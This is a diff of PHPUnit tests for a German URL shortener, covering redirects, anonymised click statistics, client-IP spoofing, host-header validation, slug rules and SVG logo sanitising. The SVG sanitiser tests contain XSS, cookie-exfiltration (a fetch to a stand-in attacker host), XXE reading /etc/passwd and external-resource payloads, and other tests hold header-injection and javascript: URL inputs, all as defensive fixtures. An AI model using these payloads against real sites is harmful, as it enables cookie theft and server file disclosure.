$response = $this->controller()->handle(
$this->request('/nur-qr', host: 'short.example.de'),
['slug' => 'nur-qr'],
);
self::assertSame(404, $response->status());
}
public function testSameSlugMayExistOncePerDomain(): void
{
$qrId = $this->domains->create('https://qr.example.de', null, false);
$this->links->create($this->defaultDomainId, 'doppelt', 'https://www.beispiel.de/a');
self::assertTrue($this->links->slugExists('doppelt', $this->defaultDomainId));
self::assertFalse($this->links->slugExists('doppelt', $qrId));
$this->links->create($qrId, 'doppelt', 'https://www.beispiel.de/b');
self::assertTrue($this->links->slugExists('doppelt', $qrId));
}
public function testDuplicateSlugOnSameDomainIsRejectedByTheDatabase(): void
{
$this->links->create($this->defaultDomainId, 'einmalig', 'https://www.beispiel.de/a');
$this->expectException(\PDOException::class);
$this->links->create($this->defaultDomainId, 'einmalig', 'https://www.beispiel.de/b');
}
public function testUnknownHostFallsBackToTheDefaultDomain(): void
{
$this->links->create($this->defaultDomainId, 'fallback', 'https://www.beispiel.de/');
// Aufruf per IP-Adresse oder hinter einem Proxy.
$response = $this->controller()->handle(
$this->request('/fallback', host: '203.0.113.10'),
['slug' => 'fallback'],
);
self::assertSame(302, $response->status());
}
public function testHostMatchingIgnoresCaseAndStandardPort(): void
{
$this->links->create($this->defaultDomainId, 'hostcheck', 'https://www.beispiel.de/');
foreach (['short.example.de', 'SHORT.example.de', 'short.example.de:443'] as $host) {
$response = $this->controller()->handle(
$this->request('/hostcheck', host: $host),
['slug' => 'hostcheck'],
);
self::assertSame(302, $response->status(), $host);
}
}
public function testShortUrlUsesTheDomainOfTheLink(): void
{
$qrId = $this->domains->create('https://qr.example.de', null, false);
$id = $this->links->create($qrId, 'druck', 'https://www.beispiel.de/');
$link = $this->links->find($id);
self::assertNotNull($link);
self::assertSame(
'https://qr.example.de/druck',
LinkRepository::shortUrlOf($link, self::BASE_URL),
);
}
public function testDomainWithSubdirectoryBuildsCorrectShortUrl(): void
{
$id = $this->domains->create('https://example.de/kurz', null, false);
$linkId = $this->links->create($id, 'abc', 'https://www.beispiel.de/');
$link = $this->links->find($linkId);
self::assertNotNull($link);
self::assertSame('example.de', $link['domain_host']);
self::assertSame('https://example.de/kurz/abc', LinkRepository::shortUrlOf($link, self::BASE_URL));
}
// --- Statistik und Datenschutz -----------------------------------
public function testClickIsCountedAndVisitLoggedAfterResponse(): void
{
$id = $this->links->create($this->defaultDomainId, 'zaehlen', 'https://www.beispiel.de/');
$request = $this->request(
'/zaehlen',
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1',
'https://www.google.de/search?q=test',
);
$response = $this->controller()->handle($request, ['slug' => 'zaehlen']);
// Vor dem Nachlauf darf noch nichts protokolliert sein:
// der Redirect geht zuerst raus.
self::assertSame(0, (int) $this->links->find($id)['click_count']);
self::assertSame(0, $this->visits->totalForLink($id));
$response->runAfterSend();
$link = $this->links->find($id);
self::assertSame(1, (int) $link['click_count']);
self::assertNotNull($link['last_clicked_at']);
self::assertSame(1, $this->visits->totalForLink($id));
$visit = $this->db->fetchOne('SELECT * FROM visits WHERE link_id = ?', [$id]);
self::assertSame('mobile', $visit['device_type']);
self::assertSame('Safari', $visit['browser']);
self::assertSame('iOS', $visit['platform']);
self::assertSame('google.de', $visit['referrer_host']);
}
public function testNoIpIsStoredByDefault(): void
{
$id = $this->links->create($this->defaultDomainId, 'datenschutz', 'https://www.beispiel.de/');
$this->controller()
->handle($this->request('/datenschutz'), ['slug' => 'datenschutz'])
->runAfterSend();
$visit = $this->db->fetchOne('SELECT * FROM visits WHERE link_id = ?', [$id]);
self::assertNull($visit['visitor_hash']);
self::assertArrayNotHasKey('ip', $visit);
self::assertArrayNotHasKey('ip_address', $visit);
}
public function testVisitorHashIsAnonymousWhenEnabled(): void
{
$id = $this->links->create($this->defaultDomainId, 'gehasht', 'https://www.beispiel.de/');
$this->controller(['TRACK_IP' => 'hash', 'IP_HASH_SALT' => 'sehr-geheim'])
->handle($this->request('/gehasht'), ['slug' => 'gehasht'])
->runAfterSend();
$visit = $this->db->fetchOne('SELECT * FROM visits WHERE link_id = ?', [$id]);
self::assertIsString($visit['visitor_hash']);
self::assertSame(32, strlen($visit['visitor_hash']));
self::assertStringNotContainsString('203.0.113', $visit['visitor_hash']);
}
public function testSlugLookupIsCaseInsensitiveAsFallback(): void
{
$this->links->create($this->defaultDomainId, 'grossklein', 'https://www.beispiel.de/');
$response = $this->controller()->handle($this->request('/GROSSKLEIN'), ['slug' => 'GROSSKLEIN']);
self::assertSame(302, $response->status());
}
public function testUmlautTargetIsRedirectedAsPunycode(): void
{
$this->links->create($this->defaultDomainId, 'umlaut', 'https://müller.de/preise');
$response = $this->controller()->handle($this->request('/umlaut'), ['slug' => 'umlaut']);
self::assertSame('https://xn--mller-kva.de/preise', $response->headers()['Location']);
}
public function testDeletingALinkRemovesItsVisits(): void
{
$id = $this->links->create($this->defaultDomainId, 'weg', 'https://www.beispiel.de/');
$this->controller()->handle($this->request('/weg'), ['slug' => 'weg'])->runAfterSend();
self::assertSame(1, $this->visits->totalForLink($id));
$this->links->delete($id);
self::assertNull($this->links->find($id));
self::assertSame(0, $this->visits->totalForLink($id));
}
/**
* @param array<string,string> $overrides
*/
private function controller(array $overrides = []): RedirectController
{
$envFile = tempnam(sys_get_temp_dir(), 'env');
self::assertIsString($envFile);
$values = [
'APP_BASE_URL' => self::BASE_URL,
'DB_DRIVER' => 'sqlite',
'DB_SQLITE_PATH' => ':memory:',
] + $overrides;
$lines = [];
foreach ($values as $key => $value) {
$lines[] = $key . '=' . $value;
}
file_put_contents($envFile, implode("\n", $lines));
$config = Config::load($this->rootDir, $envFile);
unlink($envFile);
return new RedirectController(
$config,
new View($this->rootDir . '/templates'),
$this->links,
$this->visits,
$this->domains,
);
}
private function request(
string $path,
string $userAgent = '',
string $referrer = '',
string $host = 'short.example.de',
): Request {
return new Request(
method: 'GET',
path: $path,
query: [],
post: [],
server: [
'REQUEST_METHOD' => 'GET',
'REQUEST_URI' => $path,
'SCRIPT_NAME' => '/index.php',
'HTTP_HOST' => $host,
'HTTP_USER_AGENT' => $userAgent,
'HTTP_REFERER' => $referrer,
'REMOTE_ADDR' => '203.0.113.42',
],
files: [],
);
}
}
+194
View File
@@ -0,0 +1,194 @@
<?php
declare(strict_types=1);
namespace App\Tests\Security;
use App\Http\Request;
use PHPUnit\Framework\TestCase;
/**
* Die Client-IP steuert die Login-Sperre. Liesse sie sich per Header
* frei setzen, waere die Sperre wirkungslos - ein Angreifer koennte
* nach jedem Fehlversuch eine neue "IP" behaupten.
*/
final class ClientIpTest extends TestCase
{
/**
* @param array<string,string> $server
* @param list<string> $trustedProxies
*/
private function request(array $server, array $trustedProxies = []): Request
{
return new Request(
method: 'GET',
path: '/',
query: [],
post: [],
server: $server + ['REQUEST_METHOD' => 'GET', 'SCRIPT_NAME' => '/index.php'],
files: [],
trustedProxies: $trustedProxies,
);
}
public function testForwardedHeaderIsIgnoredWithoutTrustedProxies(): void
{
$request = $this->request([
'REMOTE_ADDR' => '203.0.113.10',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
'HTTP_X_REAL_IP' => '5.6.7.8',
]);
self::assertSame('203.0.113.10', $request->clientIp());
}
public function testSpoofedHeaderCannotRotateTheIdentity(): void
{
// Ohne Proxy-Konfiguration muessen alle Versuche dieselbe
// Kennung ergeben - sonst waere die Sperre umgehbar.
$seen = [];
foreach (['1.1.1.1', '2.2.2.2', '3.3.3.3', 'unsinn', ''] as $spoofed) {
$seen[] = $this->request([
'REMOTE_ADDR' => '203.0.113.10',
'HTTP_X_FORWARDED_FOR' => $spoofed,
])->clientIp();
}
self::assertSame(['203.0.113.10'], array_values(array_unique($seen)));
}
public function testForwardedHeaderIsUsedBehindATrustedProxy(): void
{
$request = $this->request(
[
'REMOTE_ADDR' => '10.0.0.5',
'HTTP_X_FORWARDED_FOR' => '203.0.113.77',
],
['10.0.0.0/8'],
);
self::assertSame('203.0.113.77', $request->clientIp());
}
public function testChainOfProxiesReturnsTheOutermostUntrustedAddress(): void
{
$request = $this->request(
[
'REMOTE_ADDR' => '10.0.0.5',
'HTTP_X_FORWARDED_FOR' => '203.0.113.77, 10.0.0.9, 10.0.0.5',
],
['10.0.0.0/8'],
);
self::assertSame('203.0.113.77', $request->clientIp());
}
public function testInjectedGarbageBehindProxyFallsBackToRemoteAddr(): void
{
// Ein Angreifer haengt Unsinn an, um die Auswertung zu stoeren.
$request = $this->request(
[
'REMOTE_ADDR' => '10.0.0.5',
'HTTP_X_FORWARDED_FOR' => '203.0.113.77, kein-ip',
],
['10.0.0.0/8'],
);
self::assertSame('10.0.0.5', $request->clientIp());
}
public function testUntrustedRemoteAddrIgnoresForwardedEvenIfProxiesConfigured(): void
{
$request = $this->request(
[
'REMOTE_ADDR' => '198.51.100.4',
'HTTP_X_FORWARDED_FOR' => '203.0.113.77',
],
['10.0.0.0/8'],
);
self::assertSame('198.51.100.4', $request->clientIp());
}
public function testPortIsStrippedFromForwardedAddress(): void
{
$request = $this->request(
[
'REMOTE_ADDR' => '10.0.0.5',
'HTTP_X_FORWARDED_FOR' => '203.0.113.77:51234',
],
['10.0.0.0/8'],
);
self::assertSame('203.0.113.77', $request->clientIp());
}
public function testMissingRemoteAddrIsHandled(): void
{
self::assertSame('0.0.0.0', $this->request([])->clientIp());
self::assertSame('0.0.0.0', $this->request(['REMOTE_ADDR' => 'quatsch'])->clientIp());
}
// --- HTTPS-Erkennung ---------------------------------------------
public function testForwardedProtoIsOnlyTrustedBehindAProxy(): void
{
$spoofed = $this->request([
'REMOTE_ADDR' => '203.0.113.10',
'HTTP_X_FORWARDED_PROTO' => 'https',
]);
self::assertFalse($spoofed->isSecure());
$behindProxy = $this->request(
[
'REMOTE_ADDR' => '10.0.0.5',
'HTTP_X_FORWARDED_PROTO' => 'https',
],
['10.0.0.0/8'],
);
self::assertTrue($behindProxy->isSecure());
}
public function testDirectHttpsIsDetected(): void
{
self::assertTrue($this->request(['HTTPS' => 'on'])->isSecure());
self::assertTrue($this->request(['SERVER_PORT' => '443'])->isSecure());
self::assertFalse($this->request(['HTTPS' => 'off'])->isSecure());
self::assertFalse($this->request([])->isSecure());
}
// --- Host-Header --------------------------------------------------
/**
* @return array<string,array{0:string,1:string}>
*/
public static function hostProvider(): array
{
return [
'einfach' => ['kurz.example.de', 'kurz.example.de'],
'mit Port' => ['kurz.example.de:8080', 'kurz.example.de:8080'],
'Grossbuchstaben' => ['Kurz.Example.DE', 'kurz.example.de'],
'IPv6' => ['[2001:db8::1]', '[2001:db8::1]'],
'Injektion mit Slash' => ['example.de/pfad', ''],
'Injektion mit Zeilenumbruch' => ["example.de\r\nX-Fake: 1", ''],
'Injektion mit Leerzeichen' => ['example.de boese.de', ''],
'Injektion mit @' => ['boese.de@example.de', ''],
'Injektion mit Anfuehrungszeichen' => ['example.de"><script>', ''],
'leer' => ['', ''],
];
}
/**
* @dataProvider hostProvider
*/
public function testHostHeaderIsValidated(string $header, string $expected): void
{
self::assertSame($expected, $this->request(['HTTP_HOST' => $header])->host());
}
public function testOverlongHostIsRejected(): void
{
self::assertSame('', $this->request(['HTTP_HOST' => str_repeat('a', 300) . '.de'])->host());
}
}
+195
View File
@@ -0,0 +1,195 @@
<?php
declare(strict_types=1);
namespace App\Tests\Security;
use App\Qr\LogoStore;
use PHPUnit\Framework\TestCase;
/**
* SVG ist XML und darf Skripte, externe Referenzen und Entities
* enthalten. Ein hochgeladenes Logo darf daraus nichts mitbringen -
* weder fuer den Browser (gespeichertes XSS) noch fuer ImageMagick
* beim Rastern (Abruf fremder Adressen vom Server aus).
*/
final class SvgSanitizerTest extends TestCase
{
private string $uploadDir;
private string $tmpDir;
protected function setUp(): void
{
$suffix = bin2hex(random_bytes(4));
$this->uploadDir = sys_get_temp_dir() . '/urlshort-svg-' . $suffix;
$this->tmpDir = sys_get_temp_dir() . '/urlshort-svgtmp-' . $suffix;
mkdir($this->uploadDir, 0775, true);
mkdir($this->tmpDir, 0775, true);
}
protected function tearDown(): void
{
foreach ([$this->uploadDir, $this->tmpDir] as $dir) {
foreach (glob($dir . '/*') ?: [] as $file) {
unlink($file);
}
if (is_dir($dir)) {
rmdir($dir);
}
}
}
private function store(string $svg): string
{
$path = $this->tmpDir . '/' . bin2hex(random_bytes(4));
file_put_contents($path, $svg);
$store = new LogoStore($this->uploadDir);
$filename = $store->store([
'name' => 'logo.svg',
'tmp_name' => $path,
'size' => strlen($svg),
'error' => UPLOAD_ERR_OK,
], 1);
return (string) file_get_contents($this->uploadDir . '/' . $filename);
}
/**
* @return array<string,array{0:string,1:list<string>}>
*/
public static function payloadProvider(): array
{
$open = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">';
$close = '</svg>';
return [
'Skriptblock' => [
$open . '<script>fetch("//boese.de?c="+document.cookie)</script>' . $close,
['<script', 'fetch('],
],
'Skript selbstschliessend' => [
$open . '<script src="//boese.de/x.js"/>' . $close,
['<script', 'boese.de'],
],
'onload-Handler' => [
'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)" viewBox="0 0 10 10">' . $close,
['onload', 'alert(1)'],
],
'onclick ohne Anfuehrungszeichen' => [
$open . '<circle cx="5" cy="5" r="4" onclick=alert(1)/>' . $close,
['onclick', 'alert(1)'],
],
'onbegin in animate' => [
$open . '<animate onbegin="alert(1)" attributeName="x"/>' . $close,
['onbegin', 'alert(1)'],
],
'javascript-href' => [
$open . '<a href="javascript:alert(1)">x</a>' . $close,
['javascript:'],
],
'externe xlink:href' => [
$open . '<use xlink:href="https://boese.de/payload.svg#x"/>' . $close,
['boese.de'],
],
'externes Bild' => [
$open . '<image href="http://boese.de/track.png" width="10" height="10"/>' . $close,
['boese.de'],
],
'file-Referenz' => [
$open . '<image href="file:///etc/passwd" width="10" height="10"/>' . $close,
['/etc/passwd', 'file:'],
],
'XXE per Entity' => [
'<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
. $open . '<text>&xxe;</text>' . $close,
['<!DOCTYPE', '<!ENTITY', '/etc/passwd'],
],
'externes Stylesheet' => [
'<?xml-stylesheet type="text/css" href="https://boese.de/x.css"?>' . $open . $close,
['xml-stylesheet', 'boese.de'],
],
'CSS-Import' => [
$open . '<style>@import url("https://boese.de/x.css");</style>' . $close,
['@import', 'boese.de'],
],
'CSS url() nach aussen' => [
$open . '<rect fill="url(https://boese.de/x.svg#p)" width="10" height="10"/>' . $close,
['boese.de'],
],
'foreignObject mit HTML' => [
$open . '<foreignObject><body xmlns="http://www.w3.org/1999/xhtml">'
. '<script>alert(1)</script></body></foreignObject>' . $close,
['foreignObject', '<script', 'alert(1)'],
],
'iframe' => [
$open . '<iframe src="https://boese.de/"></iframe>' . $close,
['<iframe', 'boese.de'],
],
'Grossschreibung' => [
$open . '<SCRIPT>alert(1)</SCRIPT>' . $close,
['alert(1)'],
],
];
}
/**
* @param list<string> $forbidden
* @dataProvider payloadProvider
*/
public function testPayloadsAreRemoved(string $svg, array $forbidden): void
{
$stored = $this->store($svg);
foreach ($forbidden as $needle) {
self::assertStringNotContainsStringIgnoringCase(
$needle,
$stored,
sprintf('"%s" darf nach der Bereinigung nicht mehr enthalten sein.', $needle),
);
}
}
public function testHarmlessContentSurvives(): void
{
$svg = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">'
. '<defs><linearGradient id="verlauf"><stop offset="0" stop-color="#0b4f9e"/></linearGradient></defs>'
. '<rect width="100" height="100" fill="url(#verlauf)"/>'
. '<circle cx="50" cy="50" r="40" fill="#ff0000"/>'
. '<path d="M10 10 L90 90" stroke="#000000" stroke-width="2"/>'
. '<use href="#verlauf"/>'
. '</svg>';
$stored = $this->store($svg);
self::assertStringContainsString('<circle', $stored);
self::assertStringContainsString('#ff0000', $stored);
self::assertStringContainsString('<path', $stored);
// Interne Verweise bleiben erhalten, sonst waeren Verlaeufe kaputt.
self::assertStringContainsString('url(#verlauf)', $stored);
self::assertStringContainsString('href="#verlauf"', $stored);
}
public function testEmbeddedRasterImageIsKept(): void
{
$dataUri = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=';
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
. '<image href="' . $dataUri . '" width="10" height="10"/></svg>';
$stored = $this->store($svg);
self::assertStringContainsString('data:image/png;base64,', $stored);
}
public function testEncodedJavascriptHrefIsRemoved(): void
{
// HTML-Entities werden vor der Pruefung aufgeloest.
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
. '<a href="&#106;avascript:alert(1)">x</a></svg>';
$stored = $this->store($svg);
self::assertStringNotContainsStringIgnoringCase('alert(1)', $stored);
self::assertStringNotContainsStringIgnoringCase('avascript:', $stored);
}
}
+123
View File
@@ -0,0 +1,123 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Support\ShortDomain;
use PHPUnit\Framework\TestCase;
final class ShortDomainTest extends TestCase
{
/**
* @return array<string,array{0:string,1:string}>
*/
public static function baseUrlProvider(): array
{
return [
'nur Host' => ['qr.example.de', 'https://qr.example.de'],
'mit https' => ['https://qr.example.de', 'https://qr.example.de'],
'mit http' => ['http://qr.example.de', 'http://qr.example.de'],
'Schraegstrich am Ende' => ['https://qr.example.de/', 'https://qr.example.de'],
'Leerraum' => [' qr.example.de ', 'https://qr.example.de'],
'Grossbuchstaben' => ['QR.Example.DE', 'https://qr.example.de'],
'mit Port' => ['localhost:8088', 'https://localhost:8088'],
'Unterverzeichnis' => ['https://example.de/kurz/', 'https://example.de/kurz'],
'Umlaut-Domain' => ['kürzer.de', 'https://kürzer.de'],
];
}
/**
* @dataProvider baseUrlProvider
*/
public function testNormalizeBaseUrl(string $input, string $expected): void
{
self::assertSame($expected, ShortDomain::normalizeBaseUrl($input));
}
/**
* @return array<string,array{0:string,1:string}>
*/
public static function hostProvider(): array
{
return [
'einfach' => ['https://qr.example.de', 'qr.example.de'],
'mit Port' => ['http://localhost:8088', 'localhost:8088'],
'mit Pfad' => ['https://example.de/kurz', 'example.de'],
'mit Benutzerinfo' => ['https://user@example.de/x', 'example.de'],
'ohne Schema' => ['example.de', ''],
];
}
/**
* @dataProvider hostProvider
*/
public function testHostOf(string $baseUrl, string $expected): void
{
self::assertSame($expected, ShortDomain::hostOf($baseUrl));
}
public function testNormalizeRequestHost(): void
{
self::assertSame('qr.example.de', ShortDomain::normalizeRequestHost('QR.Example.DE'));
self::assertSame('qr.example.de', ShortDomain::normalizeRequestHost('qr.example.de:443'));
self::assertSame('qr.example.de', ShortDomain::normalizeRequestHost('qr.example.de:80'));
self::assertSame('localhost:8088', ShortDomain::normalizeRequestHost('localhost:8088'));
self::assertSame('', ShortDomain::normalizeRequestHost(' '));
}
/**
* Host aus der Basis-URL und Host aus dem Request-Header muessen
* direkt vergleichbar sein - sonst greift die Zuordnung nicht.
*/
public function testHostOfAndRequestHostMatch(): void
{
foreach ([
'https://qr.example.de' => 'qr.example.de',
'http://localhost:8088' => 'localhost:8088',
'https://example.de/kurz' => 'example.de',
] as $baseUrl => $requestHost) {
self::assertSame(
ShortDomain::hostOf(ShortDomain::normalizeBaseUrl($baseUrl)),
ShortDomain::normalizeRequestHost($requestHost),
$baseUrl,
);
}
}
/**
* @return array<string,array{0:string,1:bool}>
*/
public static function validationProvider(): array
{
return [
'gueltig' => ['https://qr.example.de', true],
'mit Port' => ['http://localhost:8088', true],
'Unterverzeichnis' => ['https://example.de/kurz', true],
'interner Host' => ['http://intranet', true],
'leer' => ['', false],
'nur Schema' => ['https://', false],
'fremdes Schema' => ['ftp://example.de', false],
'javascript' => ['javascript:alert(1)', false],
'mit Query' => ['https://example.de?x=1', false],
'mit Fragment' => ['https://example.de#x', false],
'zu lang' => ['https://example.de/' . str_repeat('a', 300), false],
];
}
/**
* @dataProvider validationProvider
*/
public function testValidation(string $baseUrl, bool $expected): void
{
self::assertSame($expected, ShortDomain::validationError($baseUrl) === null, $baseUrl);
}
public function testDisplayNameHidesHttps(): void
{
self::assertSame('qr.example.de', ShortDomain::displayName('https://qr.example.de'));
self::assertSame('example.de/kurz', ShortDomain::displayName('https://example.de/kurz'));
// http wird bewusst angezeigt, damit man es bemerkt.
self::assertSame('http://localhost:8088', ShortDomain::displayName('http://localhost:8088'));
}
}
+143
View File
@@ -0,0 +1,143 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Support\Slug;
use PHPUnit\Framework\TestCase;
final class SlugTest extends TestCase
{
public function testRandomSlugHasRequestedLengthAndSafeAlphabet(): void
{
for ($i = 0; $i < 50; $i++) {
$slug = Slug::random(7);
self::assertSame(7, strlen($slug));
self::assertMatchesRegularExpression('/^[a-z0-9]+$/', $slug);
// 0 und 1 sind ausgeschlossen (Verwechslung mit o und l).
self::assertDoesNotMatchRegularExpression('/[01]/', $slug);
self::assertTrue(Slug::isValid($slug));
}
}
public function testRandomSlugLengthIsConfigurable(): void
{
self::assertSame(6, strlen(Slug::random(6)));
self::assertSame(8, strlen(Slug::random(8)));
}
public function testRandomSlugsAreEssentiallyUnique(): void
{
$slugs = [];
for ($i = 0; $i < 500; $i++) {
$slugs[Slug::random(7)] = true;
}
// 33^7 Kombinationen: Kollisionen sind bei 500 Ziehungen praktisch ausgeschlossen.
self::assertGreaterThanOrEqual(499, count($slugs));
}
public function testRandomUniqueSkipsTakenSlugs(): void
{
$taken = [];
$calls = 0;
$exists = static function (string $candidate) use (&$taken, &$calls): bool {
$calls++;
// Die ersten drei Vorschlaege gelten als vergeben.
if ($calls <= 3) {
$taken[] = $candidate;
return true;
}
return false;
};
$slug = Slug::randomUnique($exists);
self::assertNotContains($slug, $taken);
self::assertTrue(Slug::isValid($slug));
self::assertSame(4, $calls);
}
public function testRandomUniqueGrowsLengthOnRepeatedCollisions(): void
{
$attempt = 0;
$slug = Slug::randomUnique(
static function () use (&$attempt): bool {
$attempt++;
return $attempt <= 4; // vier Kollisionen erzwingen
},
7,
);
self::assertSame(8, strlen($slug));
}
public function testRandomRejectsUnreasonableLengths(): void
{
$this->expectException(\InvalidArgumentException::class);
Slug::random(3);
}
/**
* @return array<string,array{0:string,1:bool}>
*/
public static function slugValidationProvider(): array
{
return [
'einfach' => ['messe2026', true],
'mit Bindestrich' => ['messe-2026-halle-3', true],
'nur Ziffern' => ['12345', true],
'einzelnes Zeichen' => ['a', true],
'leer' => ['', false],
'Grossbuchstaben' => ['Messe2026', false],
'Umlaut' => ['grüße', false],
'Leerzeichen' => ['messe 2026', false],
'Unterstrich' => ['messe_2026', false],
'Punkt' => ['messe.2026', false],
'Slash' => ['messe/2026', false],
'fuehrender Bindestrich' => ['-messe', false],
'abschliessender Bindestrich' => ['messe-', false],
'doppelter Bindestrich' => ['messe--2026', false],
'reserviert admin' => ['admin', false],
'reserviert login' => ['login', false],
'zu lang' => [str_repeat('a', 65), false],
'maximale Laenge' => [str_repeat('a', 64), true],
];
}
/**
* @dataProvider slugValidationProvider
*/
public function testValidation(string $slug, bool $expected): void
{
self::assertSame($expected, Slug::isValid($slug));
self::assertSame($expected, Slug::validationError($slug) === null);
}
public function testNormalizeCreatesUsableSlugs(): void
{
self::assertSame('messe-2026', Slug::normalize('Messe 2026'));
self::assertSame('gruesse-aus-muenchen', Slug::normalize('Grüße aus München'));
self::assertSame('a-b', Slug::normalize('--a---b--'));
self::assertSame('strasse', Slug::normalize('Straße'));
self::assertSame('', Slug::normalize(' '));
}
public function testNormalizedInputIsAlwaysValidOrEmpty(): void
{
foreach (['Messe 2026', 'Grüße!', 'a/b/c', '###', 'Test_Fall'] as $input) {
$normalized = Slug::normalize($input);
if ($normalized !== '') {
self::assertTrue(Slug::isValid($normalized), $input . ' -> ' . $normalized);
}
}
}
}
+189
View File
@@ -0,0 +1,189 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Support\UrlValidator;
use PHPUnit\Framework\TestCase;
final class UrlValidatorTest extends TestCase
{
/**
* @return array<string,array{0:string,1:bool}>
*/
public static function urlProvider(): array
{
return [
// --- akzeptiert ------------------------------------------
'https' => ['https://www.beispiel.de/pfad?a=1#anker', true],
'http' => ['http://beispiel.de', true],
'IP-Adresse' => ['http://192.168.1.10:8080/x', true],
'IPv6' => ['https://[2001:db8::1]/x', true],
'IPv6 mit Port' => ['https://[2001:db8::1]:8443/x', true],
'localhost' => ['http://localhost:8080/test', true],
'Umlaut-Domain' => ['https://müller.de', true],
'Umlaut-Domain mit Pfad' => ['https://münchen.de/veranstaltung', true],
'Punycode-Domain' => ['https://xn--mller-kva.de', true],
'Umlaute im Pfad' => ['https://de.wikipedia.org/wiki/München', true],
'Umlaute im Query' => ['https://beispiel.de/suche?q=Grüße&x=1', true],
'interner Host ohne Punkt' => ['http://intranet/seite', true],
'interner Host mit Port' => ['http://nas:5000/freigabe', true],
'lange TLD' => ['https://beispiel.photography', true],
'Benutzerinfo' => ['https://user:pass@beispiel.de/geschuetzt', true],
'absoluter Punkt am Ende' => ['https://beispiel.de./x', true],
'Bindestrich in der Domain' => ['https://mein-shop.de', true],
// --- abgelehnt -------------------------------------------
'leer' => ['', false],
'ftp' => ['ftp://beispiel.de/datei.zip', false],
'javascript' => ['javascript:alert(1)', false],
'data-URI' => ['data:text/html,<script>alert(1)</script>', false],
'mailto' => ['mailto:info@beispiel.de', false],
'file' => ['file:///etc/passwd', false],
'ohne Host' => ['https://', false],
'Steuerzeichen' => ["https://beispiel.de/\nX", false],
'zu lang' => ['https://beispiel.de/' . str_repeat('a', 2100), false],
'Bindestrich am Labelanfang' => ['https://-beispiel.de', false],
'Bindestrich am Labelende' => ['https://beispiel-.de', false],
'leeres Label' => ['https://beispiel..de', false],
'ungueltiger Port' => ['https://beispiel.de:99999/x', false],
'Unterstrich im Host' => ['https://mein_host.de', false],
];
}
/**
* @dataProvider urlProvider
*/
public function testValidation(string $url, bool $expected): void
{
self::assertSame($expected, UrlValidator::isValid($url), $url);
self::assertSame($expected, UrlValidator::validationError($url) === null);
}
public function testNormalizeAddsHttpsWhenSchemeIsMissing(): void
{
self::assertSame('https://beispiel.de/pfad', UrlValidator::normalize('beispiel.de/pfad'));
self::assertSame('https://www.beispiel.de', UrlValidator::normalize(' www.beispiel.de '));
self::assertSame('https://beispiel.de', UrlValidator::normalize('//beispiel.de'));
self::assertSame('https://müller.de', UrlValidator::normalize('müller.de'));
}
public function testNormalizeKeepsExistingScheme(): void
{
self::assertSame('http://beispiel.de', UrlValidator::normalize('http://beispiel.de'));
self::assertSame('https://beispiel.de', UrlValidator::normalize('https://beispiel.de'));
}
public function testNormalizeLowercasesSchemeAndHostOnly(): void
{
self::assertSame(
'https://beispiel.de/Pfad/Mit/Grossbuchstaben',
UrlValidator::normalize('HTTPS://Beispiel.DE/Pfad/Mit/Grossbuchstaben'),
);
}
public function testNormalizeKeepsTheReadableHost(): void
{
// Punycode gehoert erst in den Location-Header, nicht in die Anzeige.
self::assertSame('https://münchen.de/fest', UrlValidator::normalize('https://münchen.de/fest'));
}
public function testNormalizePercentEncodesPathAndQuery(): void
{
self::assertSame(
'https://de.wikipedia.org/wiki/M%C3%BCnchen',
UrlValidator::normalize('https://de.wikipedia.org/wiki/München'),
);
self::assertSame(
'https://beispiel.de/suche?q=Gr%C3%BC%C3%9Fe&x=1',
UrlValidator::normalize('https://beispiel.de/suche?q=Grüße&x=1'),
);
self::assertSame(
'https://beispiel.de/a%20b',
UrlValidator::normalize('https://beispiel.de/a b'),
);
}
public function testNormalizeDoesNotDoubleEncode(): void
{
$alreadyEncoded = 'https://de.wikipedia.org/wiki/M%C3%BCnchen';
self::assertSame($alreadyEncoded, UrlValidator::normalize($alreadyEncoded));
// Zweifaches Normalisieren aendert nichts mehr.
self::assertSame(
UrlValidator::normalize('https://de.wikipedia.org/wiki/München'),
UrlValidator::normalize(UrlValidator::normalize('https://de.wikipedia.org/wiki/München')),
);
}
public function testNormalizeKeepsReservedCharactersUsable(): void
{
$url = 'https://beispiel.de/a/b?x=1&y=2#teil-3';
self::assertSame($url, UrlValidator::normalize($url));
}
public function testNormalizeDoesNotTurnOtherSchemesIntoHttps(): void
{
$normalized = UrlValidator::normalize('javascript:alert(1)');
self::assertSame('javascript:alert(1)', $normalized);
self::assertFalse(UrlValidator::isValid($normalized));
}
public function testNormalizedUserInputPassesValidation(): void
{
foreach (['beispiel.de', 'www.beispiel.de/a/b?c=d', 'müller.de', 'intranet/seite'] as $input) {
self::assertTrue(
UrlValidator::isValid(UrlValidator::normalize($input)),
$input,
);
}
}
public function testToAsciiUrlConvertsOnlyTheHost(): void
{
self::assertSame(
'https://xn--mller-kva.de/gr%C3%BC%C3%9Fe',
UrlValidator::toAsciiUrl('https://müller.de/gr%C3%BC%C3%9Fe'),
);
self::assertSame(
'https://www.xn--mnchen-3ya.de:8080/a?b=1#c',
UrlValidator::toAsciiUrl('https://www.münchen.de:8080/a?b=1#c'),
);
}
public function testToAsciiUrlLeavesAsciiUrlsAlone(): void
{
foreach ([
'https://beispiel.de/pfad?a=1#b',
'http://192.168.1.10:8080/x',
'https://[2001:db8::1]/x',
'http://intranet/seite',
] as $url) {
self::assertSame($url, UrlValidator::toAsciiUrl($url));
}
}
public function testToAsciiUrlResultIsAlwaysAscii(): void
{
foreach (['https://müller.de/x', 'https://grüße.example.com/ä', 'https://münchen.de'] as $url) {
$ascii = UrlValidator::toAsciiUrl(UrlValidator::normalize($url));
self::assertSame(
1,
